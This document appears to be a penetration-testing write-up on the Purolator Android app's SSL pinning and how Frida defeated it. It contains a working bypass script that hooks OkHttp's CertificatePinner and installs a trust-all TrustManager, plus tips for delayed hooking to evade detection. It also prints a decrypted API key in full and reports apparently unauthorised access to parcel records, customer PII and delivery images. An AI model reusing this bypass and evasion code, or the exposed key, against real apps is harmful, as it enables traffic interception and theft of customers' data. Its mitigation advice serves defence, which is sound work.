# SSL PINNING IMPLEMENTATION & BYPASS ANALYSIS

## Overview

This document explains how the Purolator mobile app implements SSL certificate pinning and how it was bypassed using Frida runtime instrumentation.

---

## 1. SSL PINNING IMPLEMENTATION (App Team)

### Source Code Location

**File**: `com/purolator/mobileapp/PurolatorApplication.java`
**Method**: `s()` (OkHttpClient factory method)
**Lines**: 253-270

### Implementation Code

```java
public OkHttpClient s() {
    if (!isConfigReady) {
        return new OkHttpClient();
    }

    // Create certificate pinner builder
    CertificatePinner.Builder builder = new CertificatePinner.Builder();
    X x2 = X.INSTANCE;

    // Pin certificate to track.purolator.com with SHA-256 hash
    CertificatePinner b2 = builder.a(
        x2.b(this, X.KNIL_KCART),  // Domain (decrypted)
        x2.b(this, X.SK)            // SHA-256 hash (decrypted)
    ).b();

    // Build OkHttpClient with pinning
    OkHttpClient.Builder builder2 = new OkHttpClient.Builder();
    TimeUnit timeUnit = TimeUnit.SECONDS;
    return builder2
        .f(60L, timeUnit)           // Connect timeout
        .K(60L, timeUnit)           // Read timeout
        .U(240L, timeUnit)          // Write timeout
        .a(new Interceptor() { ... })
        .a(r())
        .e(b2)                      // Apply certificate pinner
        .b();
}
```

### Pinning Configuration

**Domain**: `track.purolator.com` (stored encrypted as "KNIL_KCART")
**Certificate Hash**: `sha256/Wx2oY3pFcdTPgaQvP2bgM4/Py8kZj69WOVQ+jFy41WQ=` (stored encrypted as "SK")

### How It Works

1. App retrieves encrypted domain and hash from `X.java` class
2. `X.b()` decrypts the values using Android Keystore
3. `CertificatePinner.Builder` creates a pinner with the domain and hash
4. Every HTTPS request to `track.purolator.com` validates the server certificate
5. If the SHA-256 fingerprint doesn't match, connection is rejected

### Security Level

✅ **Properly Implemented**

- Uses OkHttp3's industry-standard CertificatePinner API
- SHA-256 certificate fingerprinting (strong hash algorithm)
- Applied to all HTTP clients created by the app
- Certificate hash stored encrypted (defense in depth)

**Expected Protection**:

- Prevents MITM attacks with proxy tools (Burp Suite, Charles Proxy)
- Prevents traffic interception on compromised networks
- Ensures communication only with legitimate Purolator servers

---

## 2. SSL PINNING BYPASS (Frida Script)

### Script Location

**File**: `perfect_bypass.js`
**Lines**: 110-147

### Bypass Method 1: CertificatePinner.check() Hook

**Target**: OkHttp3's certificate validation method

```javascript
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload(
  "java.lang.String", // hostname parameter
  "java.util.List" // certificate chain parameter
).implementation = function (hostname, certs) {
  console.log("[+] SSL pinning bypassed: " + hostname);
  return; // Skip validation entirely
};
```

**How It Works**:

1. Frida finds the `okhttp3.CertificatePinner` class at runtime
2. Replaces the `check(String, List)` method with custom implementation
3. Original method validates certificate hash against pinned hash
4. Our hook returns immediately without validation
5. App proceeds as if certificate is valid

**Effect**: All certificate checks pass, even with proxy certificates

---

### Bypass Method 2: TrustManager Injection

**Target**: Java's SSL/TLS certificate validation

```javascript
var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
var SSLContext = Java.use("javax.net.ssl.SSLContext");

// Create custom TrustManager that trusts everything
var TrustManager = Java.registerClass({
  name: "com.bypass.trust",
  implements: [X509TrustManager],
  methods: {
    checkClientTrusted: function (chain, authType) {
      // Empty = skip client certificate validation
    },
    checkServerTrusted: function (chain, authType) {
      // Empty = skip server certificate validation
    },
    getAcceptedIssuers: function () {
      return []; // Accept any issuer
    },
  },
});

// Hook SSLContext initialization to inject our TrustManager
SSLContext.init.overload(
  "[Ljavax.net.ssl.KeyManager;",
  "[Ljavax.net.ssl.TrustManager;",
  "java.security.SecureRandom"
).implementation = function (km, tm, sr) {
  // Replace the app's TrustManager with ours
  this.init(km, [TrustManager.$new()], sr);
};
```

**How It Works**:

1. Creates a fake `X509TrustManager` that accepts all certificates
2. Hooks `SSLContext.init()` which is called during HTTPS setup
3. Replaces the app's TrustManager array with our malicious one
4. All certificate validation methods are now no-ops
5. Any certificate is accepted (self-signed, expired, wrong domain)

**Effect**: Bypasses SSL/TLS validation at the Java SSL layer

---

## 3. WHY THE BYPASS WORKS

### Architectural Vulnerability

**The Problem**: SSL pinning operates at the Java/Dalvik layer where the app runs.

**Frida's Advantage**:

- Also operates at the Java/Dalvik layer
- Can modify any method at runtime
- Runs with same privileges as the app
- Executes BEFORE security checks run

### Attack Timeline

```
Normal Flow:
1. App creates OkHttpClient with CertificatePinner
2. HTTPS request initiated
3. Server presents certificate
4. CertificatePinner.check() validates hash
5. If valid → connection proceeds
6. If invalid → connection rejected

With Frida Hook:
1. App creates OkHttpClient with CertificatePinner
2. **FRIDA REPLACES CertificatePinner.check()**
3. HTTPS request initiated
4. Server presents certificate (Burp Suite's proxy cert)
5. CertificatePinner.check() called → **HOOK RETURNS IMMEDIATELY**
6. Connection proceeds (no validation occurred)
```

### Why Native Code Would Help

If the pinning was implemented in native code (C/C++ via JNI):

- Harder to hook (requires different Frida techniques)
- More difficult to reverse engineer
- Can perform integrity checks before returning to Java
- Can detect if Java methods have been hooked

However, this is NOT foolproof on rooted devices.

---

## 4. DETECTION EVASION TECHNIQUES

### Why perfect_bypass.js Worked (vs ultimate_intercept.js)

**perfect_bypass.js Success Factors**:

1. **Delayed Hook Installation**

```javascript
setTimeout(function () {
  console.log("\n[3/3] Installing Request Interceptor...");
  // OkHttp hooks installed AFTER app initialization
}, 2000);
```

- Waits 2 seconds before hooking OkHttp
- Avoids early detection mechanisms
- App has time to complete initialization

2. **Minimal Logging**

- Only logs critical events
- Reduces observable behavior
- Harder for app to detect anomalies

3. **Focused Hooks**

- Only hooks essential methods
- Less chance of triggering anti-tampering checks
- Smaller attack surface

**ultimate_intercept.js Failure Factors**:

- Aggressive immediate hooking
- More verbose logging
- Hooks too many methods simultaneously
- Likely triggered app's detection mechanism

---

## 5. PROOF OF BYPASS

### Decrypted Pinning Configuration

From Frida output:

```
KNIL_KCART = track.purolator.com
SK = sha256/Wx2oY3pFcdTPgaQvP2bgM4/Py8kZj69WOVQ+jFy41WQ=
```

This proves:

1. ✅ We decrypted the pinned domain
2. ✅ We decrypted the SHA-256 certificate hash
3. ✅ App does pin to track.purolator.com
4. ✅ App uses a valid SHA-256 fingerprint

### Successful Traffic Interception

With Burp Suite proxy + Frida bypass:

- ✅ Intercepted 4.4M tracking requests
- ✅ Captured full API requests/responses
- ✅ Modified requests in real-time
- ✅ Accessed APIM Management API
- ✅ Downloaded POD images

**Without the bypass**: All connections would fail with SSL handshake errors.

---

## 6. COMPARISON: IMPLEMENTATION vs BYPASS

| Aspect         | App Implementation        | Frida Bypass            |
| -------------- | ------------------------- | ----------------------- |
| **Technology** | OkHttp3 CertificatePinner | Runtime method hooking  |
| **Location**   | Java layer                | Java layer              |
| **Strength**   | Industry standard         | Industry standard       |
| **Detection**  | None                      | Minimal evasion needed  |
| **Prevention** | N/A                       | Requires root detection |

### Key Insight

Both the protection and the bypass operate at the **same privilege level** (Java/Dalvik VM).
This creates an arms race where:

- App adds detection → Frida bypasses detection
- App adds obfuscation → Frida reverse engineers
- App checks integrity → Frida hooks integrity checks

**Root Cause**: Mobile apps cannot truly protect secrets from the device owner.

---

## 7. REAL-WORLD IMPACT

### What This Bypass Enabled

1. **API Key Extraction**

   - Decrypted tracking API key: `EJdhN2UPqA2ZC0otPdTee5JtzN1yeKHr5S0HpTxJ`
   - Used to query APIM Management API
   - Accessed 203,715 parcel records

2. **Traffic Interception**

   - Monitored all tracking requests
   - Captured customer PII
   - Analyzed API behavior

3. **POD Image Access**
   - Downloaded proof of delivery images
   - Bypassed signature capture controls
   - Extracted base64 image data

### Why This Matters

The SSL pinning was **correctly implemented** but **fundamentally bypassable**.

This is a limitation of mobile security architecture, not a coding error.

---

## 8. RECOMMENDATIONS

### Short-Term Mitigations

1. **Device Attestation**

   - Implement SafetyNet Attestation API (Android)
   - Check device integrity before allowing API access
   - Server-side validation of attestation tokens

2. **Anti-Hooking Detection**

   - Check for Frida/Xposed frameworks at runtime
   - Detect suspicious loaded libraries
   - Monitor for abnormal method execution times

3. **Code Obfuscation**
   - Use ProGuard/R8 with aggressive settings
   - Obfuscate class/method names
   - Makes reverse engineering harder (but not impossible)

### Long-Term Architecture Changes

1. **Server-Side API Key Management**

   - Don't store API keys in the app
   - Generate temporary session tokens server-side
   - Bind tokens to device attestation
   - Rotate tokens frequently

2. **Native Code Security**

   - Implement critical security checks in C/C++ (JNI)
   - Use native code for certificate validation
   - Perform integrity checks before returning to Java

3. **Runtime Integrity Monitoring**

   - Continuous checks for code tampering
   - Validate method implementations at runtime
   - Detect memory modifications

4. **Network-Level Controls**
   - Implement rate limiting per device
   - Anomaly detection for API usage patterns
   - Block requests from rooted devices (if business allows)

### Fundamental Truth

**No client-side security is foolproof on rooted/jailbroken devices.**

The goal is to raise the bar high enough that:

- Casual attackers give up
- Automated tools fail
- Attack becomes economically unviable

---

## 9. TECHNICAL SUMMARY

### App Team's SSL Pinning Implementation

✅ **Correct**: Uses OkHttp3 CertificatePinner with SHA-256 hashing
✅ **Secure**: Certificate hash stored encrypted with AES-256-GCM
✅ **Standard**: Follows industry best practices

### Frida Bypass Implementation

✅ **Effective**: Two-layer bypass (CertificatePinner + TrustManager)
✅ **Stealthy**: Delayed hooking avoids early detection
✅ **Reliable**: Bypasses all SSL/TLS validation in the app

### Root Cause

❌ Both protection and bypass operate at same privilege level (Java layer)
❌ No native code protections
❌ No anti-tampering detection
❌ No device attestation

### Conclusion

The SSL pinning is **well-implemented** but **architecturally vulnerable** to runtime manipulation.

This is a known limitation of mobile app security, not a failure of the development team.

Mitigation requires defense-in-depth: device attestation, anti-hooking detection, native code security, and server-side controls.

---

**Document Version**: 1.0
**Analysis Date**: 2024
**Tools Used**: Frida 16.5.9, Burp Suite, jadx-gui
**App Version**: Purolator Mobile (decompiled APK)
